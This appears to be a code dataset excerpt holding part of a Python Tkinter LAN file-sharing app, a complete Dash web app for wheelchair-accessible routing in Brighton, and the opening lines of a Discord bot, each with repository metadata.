self.disconnect_but=Button(self.frame4,text='disconnect',fg='white',font=('',15,'bold'),bg='RoyalBlue',bd=1,\r\n command=self.disconnect_conn)\r\n \r\n self.open_file_img= PhotoImage(file = resource_path(\"folder1.png\"))\r\n self.open_file=Button(self.frame4,image=self.open_file_img,text='Open Files ',compound='right',\r\n fg='black',font=('',15,'bold'),bg='cyan',bd=2,\r\n command=self.ask_dir)\r\n self.open_file.place(x=20,y=340)\r\n\r\n ############################################\r\n self.files_list = Listbox(self.frame5,bg='white',fg='black',font=('',12),activestyle='none',\r\n bd=5,\r\n selectbackground='LightCyan2',\r\n selectforeground='red3',selectborderwidth=5,\r\n relief='sunken',height=1\r\n )\r\n self.files_list.pack(expand=True,fill=BOTH)\r\n \r\n self.send_all_but=Button(self.frame5,text='Select Files (Ctrl+O)',compound='center',fg='white',font=('',15,'bold')\r\n ,bg='black',bd=8,relief='raised',highlightthickness=5,\r\n highlightbackground='cyan',cursor='hand2',command=self.open_files,\r\n activebackground='green yellow')\r\n self.send_all_but.pack(side='bottom',fill='x')\r\n\r\n\r\n self.canvas12 =Canvas(self.frame3,bg='grey50')\r\n self.canvas12.pack(side='top',anchor=\"nw\",padx=5,expand=True,fill='both',pady=5)\r\n \r\n \r\n self.canvas =Canvas(self.canvas12,bg='grey50')\r\n self.canvas.pack(side=\"left\", fill=\"both\", expand=True)\r\n \r\n self.scrollbar = Scrollbar(self.canvas12, orient=\"vertical\",command=self.canvas.yview)\r\n self.scrollbar.pack(side=\"right\", fill=\"y\")\r\n\r\n self.scrollable_frame =Frame(self.canvas,bg='grey50')\r\n \r\n\r\n self.scrollable_frame.bind(\"\",lambda e: self.canvas.configure(\r\n scrollregion=self.canvas.bbox(\"all\")))\r\n self.parent_self.root_mshare.bind_all(\"\",self.scroll_window)\r\n\r\n\r\n self.canvas.create_window((0, 0), window=self.scrollable_frame, anchor=\"nw\")\r\n self.canvas.configure(yscrollcommand=self.scrollbar.set)\r\n\r\n\r\n self.back_image=PhotoImage(file = resource_path(\"back.png\"))\r\n self.back=Button(self.frame4,image=self.back_image,compound='right',font=('',15,'bold')\r\n ,bg='black',bd=0,cursor='hand2',highlightbackground='black',\r\n command=self.back_button)\r\n self.back.place(x=0,y=0)\r\n\r\n self.send_items_list=[]\r\n self.parent_folder=None\r\n self.network=None\r\n self.cancel_send=False\r\n self.sending_process=False\r\n self.error=None\r\n\r\n #binding_fuction\r\n self.parent_self.start_frame.bind_all('',self.open_files)\r\n self.parent_self.start_frame.bind_all('',self.ask_dir )\r\n self.parent_self.start_frame.bind_all('',self.ask_dir )\r\n \r\n #Create_socket_connection\r\n self.create_socket()\r\n \r\n def scroll_window(self,event):\r\n self.canvas.yview(\"scroll\",-1*int(event.delta/120),\"units\")\r\n def ask_dir(self,event=None):\r\n if self.sending_process != True:\r\n folder_name=askdirectory(title='Open Folder/Directory')\r\n if folder_name !='': \r\n all_file_list=self.all_file_in_folder(folder_name)\r\n self.parent_folder=folder_name\r\n n=1\r\n for path in all_file_list:\r\n self.send_items_list.append(path)\r\n self.files_list.insert(END,(str(n)+') '+(os.path.basename(path))))\r\n n+=1\r\n \r\n \r\n \r\n #Adding_status\r\n self.send_all_but.config(text='Send Selected files',state='normal',bg='black',fg='cyan',\r\n command=self.send_all_but_command)\r\n\r\n else:\r\n print('Cancel')\r\n else:\r\n print('Sending in Progess, Please wait for completion') \r\n \r\n \r\n \r\n def open_files(self,event=None):\r\n if self.sending_process != True:\r\n self.parent_folder=None\r\n paths=askopenfilenames(title = \"Select files \")\r\n if paths != '': \r\n self.send_items_list=[]\r\n self.files_list.delete(0,END)\r\n n=1\r\n for path in paths:\r\n self.send_items_list.append(path)\r\n self.files_list.insert(END,(str(n)+') '+(os.path.basename(path))))\r\n n+=1\r\n \r\n \r\n #Adding_status\r\n self.send_all_but.config(text='Send Selected files',state='normal',bg='black',fg='cyan',\r\n command=self.send_all_but_command)\r\n \r\n\r\n else:\r\n print('Cancel')\r\n else:\r\n print('Sending in Progess, Please wait for completion')\r\n\r\n def disconnect_conn(self):\r\n self.connection.close()\r\n self.conndvi_label.config(text='Waiting for connection')\r\n self.disconnect_but.place_forget() \r\n self.listen_devices()\r\n\r\n \r\n def back_button(self):\r\n try:\r\n self.parent_self.start_frame.unbind_all('')\r\n self.parent_self.start_frame.unbind_all('')\r\n self.parent_self.start_frame.unbind_all('' )\r\n except:\r\n pass\r\n try:\r\n self.frame2.destroy()\r\n except:\r\n pass\r\n \r\n self.parent_self.start_frame.pack(fill='both',expand=True)\r\n try:\r\n self.connection.close()\r\n except:\r\n pass\r\n try:\r\n self.network.close()\r\n except:\r\n pass\r\n\r\n \r\n def create_socket(self):\r\n self.network=socket.socket()\r\n self.network.bind(('',int(self.parent_self.ip_value_for_port.get())))\r\n self.listen_devices()\r\n \r\n def listen_devices(self): \r\n th=Thread(target=self.listen_devices_thread,daemon = True)\r\n th.start()\r\n\r\n def listen_devices_thread(self):\r\n self.send_all_but.config(state='disabled')\r\n self.network.listen(1)\r\n try:\r\n self.connection , addr=self.network.accept()\r\n passwd=(self.connection.recv(1024).decode()).split('/')\r\n if passwd[0]==\"--@aditya_M_Share_\" :\r\n m='Ok_'+str(passwd[1])\r\n self.connection.send(m.encode())\r\n \r\n\r\n self.conndvi_label.config(text=str(addr[0]+' : '+str(addr[1])))\r\n self.disconnect_but.place(x=210,y=260)\r\n self.conn_label.config(fg='green2',text='\\nconnected device..')\r\n self.send_all_but.config(state='normal')\r\n else:\r\n self.connection.send(b'Foo')\r\n self.connection.close()\r\n self.conndvi_label.config(text='Waiting for connection')\r\n self.listen_devices()\r\n except Exception as e:\r\n print(e)\r\n pass\r\n\r\n \r\n def send_file_to_client(self,path):\r\n \r\n siz=os.stat(path).st_size\r\n if siz != 0: \r\n if self.parent_folder==None:\r\n text=f'name={os.path.basename(path)},size={siz}'\r\n else:\r\n file='.'+(path.replace(self.parent_folder,''))\r\n print('file=',file)\r\n text=f'name={file},size={siz}'\r\n \r\n \r\n try:\r\n self.connection.send((text.encode()))\r\n cmd=(self.connection.recv(100)).decode()\r\n print(\"cccc\",cmd)\r\n \r\n except :\r\n self.error='Disconnected'\r\n raise UserWarning(self.error) \r\n \r\n if 'send' in cmd:\r\n progress_label=Frame(self.scrollable_frame,bg='white',width=690,height=90)\r\n progress_label.pack(side='bottom')\r\n \r\n\r\n bar= ttk.Progressbar(progress_label, length=650,style='black.Horizontal.TProgressbar',\r\n maximum=(siz), value=0,mode=\"determinate\",orient=\"horizontal\")\r\n \r\n bar['value'] = 0\r\n bar.place(x=20,y=35)\r\n media_name=(os.path.basename(path))\r\n name__=Label(progress_label,text=media_name,bg='white',fg='black',height=0,font=('',11),anchor=\"w\")\r\n name__.place(x=17,y=2)\r\n time_left=Label(progress_label,text='2 sec',bg='white',fg='black',height=0,font=('',9),anchor=\"w\")\r\n time_left.place(x=17,y=45)\r\n text_=\"(0 KB of 0 MB , 50.7 KB/s)\"\r\n \r\n status__=Label(progress_label,text=text_,bg='white',fg='black',height=0,font=('',9),anchor=\"w\")\r\n status__.place(x=450,y=45)\r\n \r\n sep=Frame(progress_label,bg='grey50',width=700,height=3)\r\n sep.place(x=0,y=87)\r\n \r\n file=open(path,'rb')\r\n \r\n if \"sendappend==\" in cmd:\r\n try:\r\n s=int(cmd.replace('sendappend==',''))\r\n except:\r\n s=\"Error\"\r\n if s != \"Error\":\r\n file.seek(s)\r\n print('File_Seeckinf')\r\n print('Alredy Exixst== ',s)\r\n \r\n \r\n \r\n second=time.time() \r\n tosz=data_size_cal(siz)\r\n send_data_in_1sec=0\r\n data='mkk'\r\n dat=False\r\n \r\n while data:\r\n if self.cancel_send == True:\r\n status__.config(bg='red')\r\n time_left.config(text='Process Cancelled')\r\n time_left.config(bg='red')\r\n progress_label.config(bg='red')\r\n name__.config(bg='red')\r\n self.error='Disconnected'\r\n file.close()\r\n self.connection.close()\r\n \r\n raise UserWarning(self.error)\r\n \r\n c_second=int(str(time.time()-second).split('.')[0])\r\n \r\n if c_second ==0:\r\n pass\r\n else:\r\n second=time.time()\r\n \r\n \r\n send_size=file.tell()\r\n try:\r\n st=data_size_cal(send_size)\r\n dat=data_size_cal(send_data_in_1sec) \r\n text_=f\"({st} of {tosz}, {dat}/s)\"\r\n status__.config(text=text_)\r\n bar['value'] = send_size\r\n \r\n m=(((siz-send_size)//send_data_in_1sec))\r\n mint=m//120\r\n sec=int(str(m%120)[:2])\r\n if sec >=60:\r\n mint=mint+(sec//60)\r\n sec=sec%60\r\n if mint==0:\r\n time_left_=str(sec)[:2]+' Sec'\r\n else:\r\n time_left_=str(mint)+':'+str(sec)[:2]+' Mint' \r\n \r\n time_left.config(text=time_left_)\r\n\r\n except Exception as e:\r\n print('Error: ',e)\r\n\r\n \r\n send_data_in_1sec=0\r\n\r\n\r\n data=file.read(1048576) \r\n try:\r\n self.connection.send(data)\r\n send_data_in_1sec+=1048576\r\n except:\r\n self.error='Disconnected'\r\n status__.config(bg='red')\r\n time_left.config(text='Process is Cancelled by client',bg='red',fg='white')\r\n progress_label.config(bg='red')\r\n name__.config(bg='red')\r\n \r\n raise UserWarning(self.error) \r\n\r\n break\r\n \r\n print('done____') \r\n try:\r\n c=(self.connection.recv(1024)).decode()\r\n except:\r\n file.close()\r\n self.error='Disconnected'\r\n raise UserWarning(self.error)\r\n \r\n if c=='done':\r\n print('Downloading_st_cli_is_done')\r\n send_size=file.tell()\r\n try:\r\n st=data_size_cal(send_size)\r\n if dat==False:\r\n dat=data_size_cal(send_data_in_1sec) \r\n text_=f\"({st} of {tosz}, {dat}/s)\"\r\n status__.config(text=text_,fg='green')\r\n bar['value'] = send_size\r\n except Exception as e:\r\n print('Error : ',e)\r\n \r\n time_left.config(text='Done ('+time.ctime()+')',fg='cyan3')\r\n file.close()\r\n\r\n \r\n elif cmd=='--exists':\r\n progress_label=Frame(self.scrollable_frame,bg='khaki1',width=690,height=90)\r\n progress_label.pack(side='bottom')\r\n media_name=(os.path.basename(path))\r\n name__=Label(progress_label,text=media_name,bg='khaki1',fg='black',height=0,font=('',11),anchor=\"w\")\r\n name__.place(x=17,y=2)\r\n \r\n time_left=Label(progress_label,text='File Already Exists on client PC',bg='khaki1',fg='blue2',\r\n height=0,font=('',9),anchor=\"w\")\r\n time_left.place(x=17,y=45) \r\n sep=Frame(progress_label,bg='cyan2',width=700,height=3)\r\n sep.place(x=0,y=87)\r\n \r\n else:\r\n self.error='Unknown_command'\r\n\r\n \r\n def send_all_but_command(self):\r\n thr=Thread(target=self.send_multiple_files,daemon = True)\r\n thr.start()\r\n def cancel_send_process(self):\r\n self.cancel_send=True\r\n \r\n def send_multiple_files(self):\r\n self.cancel_send=False\r\n self.error=None\r\n self.sending_process = True\r\n self.send_all_but.config(command=self.cancel_send_process,text='Cancel Sending Process',bg='red'\r\n ,fg='white')\r\n file_send_done_list=self.send_items_list.copy()\r\n try:\r\n for path in self.send_items_list:\r\n if self.cancel_send == True:\r\n break\r\n else:\r\n self.send_file_to_client(path)\r\n if self.cancel_send !=True:\r\n self.files_list.delete(0,0)\r\n file_send_done_list.remove(path)\r\n except Exception as e:\r\n print('Error : ',e)\r\n \r\n finally:\r\n self.sending_process = False\r\n\r\n if self.error=='Disconnected' or self.error=='cancelled': \r\n self.send_items_list=file_send_done_list.copy() \r\n if self.cancel_send==True:\r\n t='Try Again ( Cancelled )'\r\n \r\n elif self.error=='Disconnected':\r\n t='Try Again ( Disconnected )'\r\n \r\n else:\r\n t='Try Again (Error occured)'\r\n \r\n self.send_all_but.config(command=self.send_all_but_command,text=t,\r\n bg='cornflower blue',fg='red')\r\n \r\n if self.error=='Disconnected':\r\n self.connection.close()\r\n self.conndvi_label.config(text='Waiting for connection')\r\n self.conn_label.config(fg='red',text='Connection is Closed \\nby Client') \r\n self.disconnect_but.place_forget()\r\n self.listen_devices()\r\n \r\n \r\n elif file_send_done_list==[]:\r\n self.send_items_list=[]\r\n self.parent_folder==None\r\n self.send_all_but.config(command=self.open_files,text='Select Files (Ctrl+O)',\r\n bg='black',fg='white') \r\n else:\r\n print('Error : 34: ')\r\n\r\n def all_file_in_folder(self,folder_name):\r\n all_file_list=[]\r\n def folder_dec(folder_name):\r\n if os.path.exists(folder_name):\r\n try:\r\n folder_content=os.listdir(folder_name)\r\n for file in folder_content:\r\n file=folder_name+'/'+file\r\n if os.path.isfile(file):\r\n nonlocal all_file_list\r\n all_file_list.append(file)\r\n elif os.path.isdir(file):\r\n folder_dec(file)\r\n else:\r\n pass\r\n except:\r\n pass\r\n else:\r\n pass\r\n folder_dec(folder_name)\r\n return all_file_list\r\n\r\n#___________________________________________________________________________________________________\r\n\r\nclass recieve():\r\n def __init__(self,parent_self):\r\n print('recive')\r\n self.parent_self=parent_self\r\n self.parent_self.start_frame.pack_forget()\r\n \r\n self.frame2=Frame(parent_self.root_mshare,bg='grey50')\r\n self.frame2.pack(expand=True,fill='both')\r\n self.frame3=Frame(self.frame2,bg='grey50')\r\n self.frame3.pack(expand=True,fill='both',side='right')\r\n self.frame4=Frame(self.frame2,bg='grey90')\r\n self.frame4.pack(fill='both',side='left',ipadx=200)\r\n self.ip_label=Label(self.frame4,text='Enter IP Adddress',fg='white',font=('',20),bg='grey75',bd=0)\r\n self.ip_label.place(x=10,y=40)\r\n \r\n self.ip_value=StringVar()\r\n self.ip_ent=Entry(self.frame4,textvariable=self.ip_value,fg='blue2',font=('',20),bg='grey80',bd=1)\r\n self.ip_value.set((str(ip_address())))\r\n self.ip_ent.place(x=10,y=100)\r\n \r\n self.rec_connect_but=Button(self.frame4,text='connect',fg='black',font=('',15,'bold'),width=22,\r\n bg='cyan',bd=1,command=self.rec_connect_to_dev)\r\n self.rec_connect_but.place(x=20,y=160)\r\n self.conn_label=Label(self.frame4,text='',fg='red',font=('',20),bg='grey90',bd=5,highlightbackground='orange red')\r\n self.conn_label.place(x=10,y=300)\r\n\r\n self.Path_lab=Label(self.frame4,text='Current Path',fg='black',font=('',15),bg='white',bd=0)\r\n self.Path_lab.place(x=10,y=420)\r\n\r\n self.Path_lab=Button(self.frame4,fg='black',font=('',10),bg='white',bd=0,\r\n command=self.chdir,justify='left')\r\n self.Path_lab.place(x=10,y=460)\r\n self.chdir(event=True)\r\n\r\n \r\n\r\n \r\n self.canvas12 =Canvas(self.frame3,bg='grey50')\r\n self.canvas12.pack(side='top',anchor=\"nw\",padx=5,expand=True,fill='both',pady=5)\r\n \r\n \r\n self.canvas =Canvas(self.canvas12,bg='grey50')\r\n self.canvas.pack(side=\"left\", fill=\"both\", expand=True)\r\n \r\n self.scrollbar = Scrollbar(self.canvas12, orient=\"vertical\",command=self.canvas.yview)\r\n self.scrollbar.pack(side=\"right\", fill=\"y\")\r\n\r\n self.scrollable_frame =Frame(self.canvas,bg='grey50')\r\n \r\n\r\n self.scrollable_frame.bind(\"\",lambda e: self.canvas.configure(\r\n scrollregion=self.canvas.bbox(\"all\")))\r\n \r\n self.parent_self.root_mshare.bind_all(\"\", self.scroll_window)\r\n self.canvas.create_window((0, 0), window=self.scrollable_frame, anchor=\"nw\")\r\n self.canvas.configure(yscrollcommand=self.scrollbar.set)\r\n\r\n\r\n \r\n self.back_image=PhotoImage(file = resource_path(\"back.png\")) \r\n self.back=Button(self.frame4,image=self.back_image,compound='right',font=('',15,'bold'),\r\n bg='black',bd=0,cursor='hand2',highlightbackground='black',\r\n command=self.back_button)\r\n self.back.place(x=0,y=0)\r\n\r\n self.conn=None\r\n self.cancel=False\r\n \r\n def chdir(self,event=None):\r\n if event!=True:\r\n folder_name=askdirectory(title='Open Folder/Directory')\r\n if folder_name != '':\r\n os.chdir(folder_name)\r\n\r\n path=os.getcwd()\r\n p=''\r\n n=0\r\n for i in path:\r\n p+=i\r\n n+=1\r\n if n >= 30:\r\n if i == '/' or i=='\\\\':\r\n n=0\r\n p+='\\n \\\\ '\r\n \r\n \r\n self.Path_lab.config(text=p)\r\n \r\n\r\n def scroll_window(self,event):\r\n self.canvas.yview(\"scroll\",-1*int(event.delta/120),\"units\")\r\n\r\n\r\n def rec_connect_to_dev(self):\r\n ip=self.ip_value.get()\r\n self.conn=socket.socket()\r\n try:\r\n self.conn_label.config(text='Connecting....')\r\n self.conn.connect((ip,int(self.parent_self.ip_value_for_port.get())))\r\n self.conn_label.config(text='Pairing....')\r\n passwd=randint(100000,999999)\r\n b='--@aditya_M_Share_/'+str(passwd)\r\n self.conn.send(b.encode())\r\n conf=(self.conn.recv(1024)).decode()\r\n if conf == conf:\r\n \r\n self.rec_connect_but.config(text='..Connected.. ',bg='green yellow',\r\n command=self.rec_disconnect_to_dev)\r\n self.conn_label.config(text='')\r\n thr=Thread(target=self.receive_data,daemon = True)\r\n thr.start()\r\n else:\r\n self.rec_connect_but.config(text='Invalid Passwd',bg='red',\r\n command=self.rec_connect_to_dev)\r\n self.conn_label.config(text='')\r\n \r\n except Exception as e:\r\n if 'refused' in str(e):\r\n self.conn_label.config(text='device refused connection ')\r\n else:\r\n self.conn_label.config(text=(str(e)))\r\n \r\n def rec_disconnect_to_dev(self):\r\n self.conn.close()\r\n self.rec_connect_but.config(text='disConnected')\r\n self.rec_connect_but.config(bg='red')\r\n self.rec_connect_but.config(command=self.rec_connect_to_dev)\r\n self.conn_label.config(text='Connection is closed ')\r\n self.conn_label.config(fg='red')\r\n \r\n def back_button(self):\r\n try:\r\n self.frame2.destroy()\r\n except:\r\n pass\r\n \r\n self.parent_self.start_frame.pack(fill='both',expand=True)\r\n try:\r\n self.conn.close()\r\n except:\r\n pass\r\n print('back_button')\r\n def check_if_exist(self,file,size):\r\n if os.path.exists(file):\r\n siz=os.stat(file).st_size\r\n if siz == size:\r\n return \"exists\"\r\n elif siz < size:\r\n print('append_size_check')\r\n return \"append\"\r\n else:\r\n return False\r\n else:\r\n return False\r\n\r\n def receive_data(self):\r\n self.conn_label.config(text='Recieving Data....')\r\n self.conn_label.config(fg='maroon')\r\n self.cancel=False\r\n dat=None\r\n while True:\r\n data=((self.conn.recv(1024)).decode())\r\n if not data:\r\n self.rec_connect_but.config(bg='orange',text='disConnected',\r\n command=self.rec_connect_to_dev)\r\n self.conn_label.config(text='Connection is closed by \\nthe remote server',fg='red')\r\n break\r\n\r\n if 'name=' in data: \r\n name ,total_file_size=data.split(',')\r\n name=(name.split('='))[1]\r\n total_file_size=int((total_file_size.split('='))[1])\r\n print(name,total_file_size)\r\n\r\n check=self.check_if_exist(name,total_file_size)\r\n if check==\"exists\":\r\n print('--exists')\r\n self.conn.send(b'--exists')\r\n \r\n else:\r\n if name[0]=='.':\r\n print('creating_direcrory')\r\n d=''\r\n for i in name:\r\n d+=i\r\n if i=='/' or i=='\\\\':\r\n if os.path.exists(d):\r\n pass\r\n else:\r\n try:\r\n os.mkdir(d)\r\n except Exception as e:\r\n print('Error : mkdir ==',d)\r\n \r\n \r\n \r\n #Sending_request_to_send_data\r\n if check ==\"append\":\r\n file_wr=open(name,'ab')\r\n file_size=file_wr.tell()\r\n self.conn.send(('sendappend=='+str(file_size)).encode())\r\n print('APeend=file_size==',file_size)\r\n \r\n else:\r\n self.conn.send(b'send')\r\n file_wr=open(name,'wb')\r\n file_size=0\r\n\r\n progress_label=Frame(self.scrollable_frame,bg='white',width=690,height=90)\r\n progress_label.pack(side='bottom')\r\n \r\n\r\n bar= ttk.Progressbar(progress_label, length=650,style='black.Horizontal.TProgressbar',\r\n maximum=(total_file_size), value=0,mode=\"determinate\",orient=\"horizontal\")\r\n \r\n bar['value'] = 0\r\n bar.place(x=20,y=35)\r\n name__=Label(progress_label,text=(os.path.basename(name)),bg='white',fg='black',height=0,font=('',11),anchor=\"w\")\r\n name__.place(x=17,y=2)\r\n time_left=Label(progress_label,text='2 sec',bg='white',fg='black',height=0,font=('',9),anchor=\"w\")\r\n time_left.place(x=17,y=45)\r\n text_=\"(0 KB of 0 MB , 50.7 KB/s)\"\r\n \r\n status__=Label(progress_label,text=text_,bg='white',fg='black',height=0,font=('',9),anchor=\"w\")\r\n status__.place(x=450,y=45)\r\n \r\n sep=Frame(progress_label,bg='grey50',width=700,height=3)\r\n sep.place(x=0,y=87) \r\n\r\n \r\n\r\n second=time.time()\r\n data='aditya'\r\n send_data_in_1sec=0\r\n file_size_in_si=data_size_cal(total_file_size)\r\n while data:\r\n if self.cancel == True:\r\n status__.config(bg='red')\r\n time_left.config(text='you Cancelled',bg='red',fg='white')\r\n progress_label.config(bg='red')\r\n name__.config(bg='red')\r\n break\r\n \r\n c_second=int(str(time.time()-second).split('.')[0])\r\n recv_size=file_wr.tell()\r\n \r\n if c_second ==0:\r\n pass\r\n else:\r\n second=time.time()\r\n try:\r\n \r\n st=data_size_cal(recv_size)\r\n dat=data_size_cal(send_data_in_1sec) \r\n text_=f\"({st} of {file_size_in_si}, {dat}/s)\"\r\n m=(((total_file_size-recv_size)//send_data_in_1sec))\r\n mint=m//120\r\n sec=int(str(m%120)[:2])\r\n if sec >=60:\r\n mint=mint+(sec//60)\r\n sec=sec%60\r\n if mint==0:\r\n time_left_=str(sec)[:2]+' Sec'\r\n else:\r\n time_left_=str(mint)+':'+str(sec)[:2]+' Mint'\r\n status__.config(text=text_)\r\n bar['value'] = recv_size\r\n time_left.config(text=time_left_)\r\n except:\r\n pass \r\n\r\n send_data_in_1sec=0\r\n \r\n if recv_size == total_file_size:\r\n if dat == None:\r\n try:\r\n dat=data_size_cal(send_data_in_1sec)\r\n except:\r\n pass\r\n recv_size=file_wr.tell()\r\n try:\r\n st=data_size_cal(recv_size)\r\n text_=f\"({st} of {file_size_in_si}, {dat}/s)\"\r\n status__.config(text=text_)\r\n except:\r\n passs\r\n bar['value'] = recv_size\r\n time_left.config(text='Done ('+time.ctime()+')',fg='cyan3')\r\n break\r\n \r\n \r\n data=self.conn.recv(1048576)\r\n if not data:\r\n time_left.config(text='Server Disconnected',bg='red',fg='white')\r\n progress_label.config(bg='red')\r\n name__.config(bg='red')\r\n status__.config(bg='red')\r\n break\r\n\r\n #Writing_data_in_file\r\n send_data_in_1sec+=file_wr.write(data)\r\n \r\n print('done')\r\n file_wr.close()\r\n \r\n try:\r\n self.conn.send(('done').encode())\r\n except:\r\n self.rec_connect_but.config(bg='orange',text='disConnected',\r\n command=self.rec_connect_to_dev)\r\n self.conn_label.config(text='Connection is closed by \\nthe remote server',fg='red')\r\n break\r\n\r\n else:\r\n print('Recieved_Data=={',data,'}')\r\n \r\n print('Exit___recv')\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n Application=App()\r\n \r\n","repo_name":"Mahadevadityamukhiya8090/M_Share","sub_path":"m_share_main.py","file_name":"m_share_main.py","file_ext":"py","file_size_in_byte":37092,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"42471670744","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output, State\n\nimport dash_leaflet as dl\nfrom dash_leaflet import express as dlx\n\nimport dash_bootstrap_components as dbc\ntry:\n import app.utils as utils\nexcept:\n import utils\n\n\nANGLE_COLOR_MAP = utils.ANGLE_COLOR_MAP\n\n## Define the legend\nMARKS = [\"0° - 4°\", \"4° - 8°\", \"8° - 12°\", \"12° - 16°\", \"16°+\", \"Crosswalk\", \"Blocked\"]\nCOLORSCALE = list(ANGLE_COLOR_MAP.values())[0:5] + ['yellow', 'red']\nCOLORBAR = dlx.categorical_colorbar(\n categories=MARKS, colorscale=COLORSCALE,\n width=520, height=30, position=\"bottomleft\",\n style={'font-size':'12pt', 'background-color':'lightgrey'}\n )\n\n\nwith open('app/brighton_addresses', 'r') as addr_file:\n ADDRESS_LIST = [html.Option(value=addr) for addr in addr_file]\n\n## start the app\napp = dash.Dash(__name__, external_stylesheets=[dbc.themes.BOOTSTRAP, ])\nserver = app.server\n\n# TODO: style constants!\n## some styles\nPADDED_TEXT = {'padding-top':'5px', 'padding-bottom':'5px'}\nSLIDER_LABELS = {'font-size':'12pt', 'color':'black'}\nINVISIBLE = {'display':'none'}\n\n# TODO: find out if people get mad about this parens style\n\napp.layout = html.Div([\n dbc.Col(\n dcc.Markdown(\"\"\"\n # WheelWay\n ### Directions for everybody\n \"\"\"\n )\n ),\n dbc.Col(\n html.Div([\n dcc.Markdown(\"#### Enter any street address in Brighton -- no need to add the city or state!\"),\n dbc.Row([\n html.Datalist(id='addresses',children=ADDRESS_LIST),\n dbc.Col([\n dbc.Input(id='origin',\n placeholder=\"Type your origin here\", value='', type='text',\n debounce=True, bs_size=\"lg\",\n list = 'addresses')], width=6),\n dbc.Col([\n html.Div([\n dbc.Button(children=\"Find me a route with no obstructions\",\n color=\"success\", id='obs_button', n_clicks=0)],\n style=PADDED_TEXT)\n ])\n ]),\n dbc.Row([\n dbc.Col([\n html.Div([\n dbc.Input(id='dest', placeholder=\"Type your destination here\",\n value='', type='text', debounce=True, bs_size=\"lg\",\n list = 'addresses')\n ], style=PADDED_TEXT)\n ], width=6)\n ]),\n ]), width='auto', align='start'),\n dbc.Col([\n dbc.Row([\n dbc.Col([\n html.Div([\n dcc.Dropdown(id=\"routing\",\n placeholder=\"Find the route with...\",\n options=[\n {\"label\": \"Lowest slope\", \"value\": 'slope'},\n {\"label\": \"Balanced slope and length\", \"value\":'balance'},\n {\"label\": \"Shortest length\", 'value': 'short'}\n ], style={'width': '800px'}),\n ], style={'padding_top':'5px', 'padding-bottom':'5px', 'font-size':'16pt'})\n ], width=6),\n dbc.Col(\n html.Div([\n dcc.Slider(id='alpha', min=0, max=20, step=1, value=0,\n marks={\n 0: {'label': \"I don't mind some hills\",\n 'style': SLIDER_LABELS},\n 20: {'label': \"I hate hills!\", 'style': SLIDER_LABELS}\n }\n )\n ], style=INVISIBLE, id='slider-display'), \n width=4)\n ], justify='start')\n ]),\n dbc.Col([\n dcc.Loading(id='loading-1', children=[html.Div(id='warning', children=[html.P(children=\"\\u00A0\", id='warning-p')], style={'height':'24pt'})], type=\"dot\", style={'position':'fixed','left':'10px'}),\n html.Div([dl.Map([dl.TileLayer(),\n dl.LayerGroup(id='layer'), COLORBAR],\n style={'width': '1000px', 'height': '500px'},\n zoomControl=False, id=\"the_map\"\n )\n ], id='map_div'),\n html.Div(id='blurs', style=INVISIBLE),\n html.Div(id='dd-output-container', style=INVISIBLE),\n html.Div([\n dbc.Row([\n dbc.Col(\n html.Div(\n dbc.Nav([dbc.NavLink(\"github\", href=\"www.github.com/saltzadam/WheelWay\"),\n dbc.NavLink(\"slides\", href=\"https://docs.google.com/presentation/d/19f61V7LoHI-ZXnIFEBYhvRCBrFPMcy5li7T9MQJW-nM/edit?usp=sharing\")\n ])\n ),\n width=4),\n dbc.Col(html.Div(), width=4)\n ], justify=\"between\")\n ])\n ])\n])\n\n@app.callback(\n [Output('obs_button', 'color'),\n Output('obs_button', 'children')],\n [Input('obs_button', 'n_clicks')])\n\ndef update_color(n):\n \"\"\"Update the color of the 'obstruction' button based on number of clicks.\"\"\"\n if n % 2 == 0:\n return 'success', \"Click to route around sidewalk problems\"\n else:\n return 'warning', \"Click to ignore sidewalk problems\"\n\n@app.callback(\n Output('blurs', 'children'),\n [Input('origin', 'n_blur'),\n Input('dest', 'n_blur'),\n Input('routing', 'value')])\n\ndef update_blurs(blur_o, blur_d, routing):\n \"\"\"Signal when all the input fields are full (or at least visited?) and a routing option has been picked.\"\"\"\n if routing == 'slope':\n c = 0\n elif routing == 'balance':\n c = 1\n else:\n c = 2\n if (not blur_o) or (not blur_d):\n return 0\n else:\n return int(blur_o) + int(blur_d) + c\n\n@app.callback(\n Output('dd-output-container', 'children'),\n [Input('routing', 'value')])\n\ndef update_dd(routing):\n \"\"\"Store the routing value. Pretty sure this is an artifact of another change.\"\"\"\n #TODO: check that\n return routing\n\n## Displays slider only when 'balance' route finding\n@app.callback(\n Output('slider-display', 'style'),\n [Input('dd-output-container', 'children')])\n\ndef show_slider(routing):\n \"\"\"Show the slider only if 'balance' is the routing mode.\"\"\"\n if routing == 'balance':\n return {}\n else:\n return INVISIBLE\n\n## Fetches the route\n@app.callback(\n [Output('warning-p', 'children'),\n Output('layer', 'children'),\n Output('the_map', 'bounds')],\n [Input('blurs', 'children'),\n Input('alpha', 'value'),\n Input('routing', 'value'),\n Input('obs_button', 'n_clicks')],\n [State('origin', 'value'),\n State('dest', 'value')])\n\ndef update_figure(nb, alpha, routing, obs_n, ori_str, dest_str):\n \"\"\"Fetch the route and update the Map element.\n\n Arguments:\n nb -- whether an input field has changed. Triggers an update\n alpha -- the penalty factor for slopes in the 'balance' route-finding method. See utils.\n routing -- choice of routing option. Should be a string in ['slope', 'balance', 'short'].\n obs_n -- number of times the obstruction button has been clicked\n ori_str, dest_str -- strings for the origin and destination\n \"\"\"\n obs = (obs_n % 2 == 1)\n if (not ori_str) or (not dest_str) or (routing not in ['slope', 'balance', 'short']):\n return '\\u00A0', [], utils.STANDARD_BOUNDS\n else:\n return utils.get_fig(ori_str, dest_str, routing, alpha, obs)\n\nif __name__ == '__main__':\n app.run_server(debug=False,\n port=8050)\n","repo_name":"saltzadam/WheelWay","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":7785,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"14893462387","text":"import json, discord\r\nfrom datetime import datetime\r\n\r\nTOKEN = 'token'\r\nclient = discord.Client()\r\nglobal lastReaction\r\nlastReaction = None\r\n\r\n@client.event\r\nasync def on_ready():\r\n activity = discord.Activity(name='niet-janken-januari', type=discord.ActivityType.playing)\r\n await client.change_presence(activity=activity)\r\n print(\"The bot is ready!\")\r\n\r\n@client.event\r\nasync def on_message(message):\r\n # makes sure bot 